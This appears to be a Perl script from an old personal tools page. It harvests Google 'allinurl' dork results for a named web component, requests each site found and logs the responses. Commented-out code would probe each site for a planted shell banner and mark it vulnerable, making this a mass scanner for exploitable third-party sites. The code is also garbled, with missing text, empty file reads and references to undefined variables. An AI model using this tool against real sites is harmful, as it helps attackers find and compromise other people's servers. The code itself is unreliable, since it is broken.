#!/usr/bin/perl # require LWP::UserAgent; use HTTP::Message; $baner=<\n"; if($#ARGV<0) { die "$usage"; } $ua = LWP::UserAgent->new; $ua->timeout(35); $ua->agent("MSIE/6.0 Windows"); $ua->proxy(http => $proxy) if defined($proxy); #$grabresponse = $ua->get($gourl); $counter=0; #Read last session open(hf,$fsav); $lastsav= ; close(hf); $check=1;#Check if any save session $nomer=1; while(1) { $gourl = "http://www.google.com/search?q=allinurl:$komponen&num=10&hl=en&lr=&ie=UTF-8&oe=utf-8&start=$counter&sa=N"; $grabresponse = $ua->get($gourl); $counter=$counter+10; if (!($grabresponse->is_success)) { printlog ($grabresponse->status_line. " Failure\n"); } else { #printlog ("$ARGV[0] \t"); #printlog ($grabresponse->status_line. "\n"); #printlog ($grabresponse->as_string. "\n"); #print "\nFingerprinting suceeded!\n"; $data1 = $grabresponse->as_string; open(lol,">$tempfile"); print lol $data1; close(lol); open(lol,$tempfile) || die("Cannot open the file"); @loli= ; close(lol); $data=join("",@loli); exit if ($data=~/Google does not serve more than 1000/); #End Google search or Stop @tmp=split(/\ \/,$tmp[$a]); @t=split(/\/mod/,$u[0]); $url=$t[0]; if (($lastsav ne "") && (!($lastsav =~ /$url/)) && $check) { next; } else { $check=0; } #Save Session open(hf,">$fsav"); print hf $url; close(hf); printlog("$nomer. http://$url\t"); $nomer++; # @y=split(/\//,$url); # $url=$y[0]; $urltarget="http://$url"; $urltarget=~s/ /%20/g; $grabresponse = $ua->get($urltarget); if (!($grabresponse->is_success)) { print ("$urltarget Failure\n"); printlog ($grabresponse->status_line. " Failure\n"); } else { print ("$urltarget Success\n"); printlog ($grabresponse->status_line. " Success\n"); } # $httppost="GET http://$urltarget HTTP/1.0\r\n\r\n"; # @results=sendraw($httppost); # $strhasil = join("",@results); #Verify output #print $strhasil; # if (!($strhasil=~/Security Corp/)) # { # printlog("Not Vulnerable\n"); # next; # } #Verify if any shell banner # @atmp=split(/\
\\r\n/,$strhasil); # @atmp=split(/\<\/font\>\<\/pre\>/,$atmp[1]); # $banner=$atmp[0]; # $banner=~s/\n/\r\n/g; # $p=length($banner); # if ($p>0) # { # printlog("Vulnerable\n"); # printlog("$banner\n"); # } # else # { # printlog("Possible-Vulnerable\n"); # } printlog("\n"); } #end of for } #end of if #else { #print $grabresponse->status_line, "\n"; #print "\nFingerprinting failure!\n"; #} #end of else } #end of while sub printlog { print @_[0]; open(lo,">>$log"); print lo @_[0]; close(lo); return; }    Source: geocities.com/iko94/tools
               ( geocities.com/iko94)